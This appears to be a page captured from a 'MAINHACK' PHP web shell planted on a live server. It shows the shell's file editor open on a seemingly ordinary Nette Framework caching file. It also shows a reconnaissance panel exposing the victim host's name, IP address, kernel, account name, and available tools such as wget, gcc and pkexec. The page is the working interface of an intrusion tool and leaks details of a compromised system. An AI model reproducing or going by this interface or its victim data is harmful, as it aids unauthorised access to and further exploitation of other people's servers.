[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: CacheMacro.php
<?php /** * This file is part of the Nette Framework (https://nette.org) * Copyright (c) 2004 David Grudl (https://davidgrudl.com) */ declare(strict_types=1); namespace Nette\Bridges\CacheLatte; use Latte; use Nette; use Nette\Caching\Cache; /** * Macro {cache} ... {/cache} for Latte v2 */ final class CacheMacro implements Latte\IMacro { use Nette\SmartObject; private bool $used; /** * Initializes before template parsing. * @return void */ public function initialize() { $this->used = false; } /** * Finishes template parsing. * @return array(prolog, epilog) */ public function finalize() { if ($this->used) { return ['Nette\Bridges\CacheLatte\CacheMacro::initRuntime($this);']; } } /** * New node is found. * @return bool */ public function nodeOpened(Latte\MacroNode $node) { if ($node->modifiers) { throw new Latte\CompileException('Modifiers are not allowed in ' . $node->getNotation()); } $this->used = true; $node->empty = false; $node->openingCode = Latte\PhpWriter::using($node) ->write( '<?php if (Nette\Bridges\CacheLatte\CacheMacro::createCache($this->global->cacheStorage, %var, $this->global->cacheStack, %node.array?)) /* line %var */ try { ?>', Nette\Utils\Random::generate(), $node->startLine, ); } /** * Node is closed. * @return void */ public function nodeClosed(Latte\MacroNode $node) { $node->closingCode = Latte\PhpWriter::using($node) ->write( '<?php Nette\Bridges\CacheLatte\CacheMacro::endCache($this->global->cacheStack, %node.array?) /* line %var */; } catch (\Throwable $ʟ_e) { Nette\Bridges\CacheLatte\CacheMacro::rollback($this->global->cacheStack); throw $ʟ_e; } ?>', $node->startLine, ); } /********************* run-time helpers ****************d*g**/ public static function initRuntime(Latte\Runtime\Template $template): void { if (!empty($template->global->cacheStack)) { $file = (new \ReflectionClass($template))->getFileName(); if (@is_file($file)) { // @ - may trigger error end($template->global->cacheStack)->dependencies[Cache::Files][] = $file; } } } /** * Starts the output cache. Returns Nette\Caching\OutputHelper object if buffering was started. */ public static function createCache( Nette\Caching\Storage $cacheStorage, string $key, ?array &$parents, ?array $args = null, ): Nette\Caching\OutputHelper|\stdClass|null { if ($args) { if (array_key_exists('if', $args) && !$args['if']) { return $parents[] = new \stdClass; } $key = array_merge([$key], array_intersect_key($args, range(0, count($args)))); } if ($parents) { end($parents)->dependencies[Cache::Items][] = $key; } $cache = new Cache($cacheStorage, 'Nette.Templating.Cache'); if ($helper = $cache->capture($key)) { $parents[] = $helper; } return $helper; } /** * Ends the output cache. * @param Nette\Caching\OutputHelper[] $parents */ public static function endCache(array &$parents, ?array $args = null): void { $helper = array_pop($parents); if (!$helper instanceof Nette\Caching\OutputHelper) { return; } if (isset($args['dependencies'])) { $args += $args['dependencies'](); } if (isset($args['expire'])) { $args['expiration'] = $args['expire']; // back compatibility } $helper->dependencies[Cache::Tags] = $args['tags'] ?? null; $helper->dependencies[Cache::Expire] = $args['expiration'] ?? '+ 7 days'; $helper->end(); } /** * @param Nette\Caching\OutputHelper[] $parents */ public static function rollback(array &$parents): void { $helper = array_pop($parents); if ($helper instanceof Nette\Caching\OutputHelper) { $helper->rollback(); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.27 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002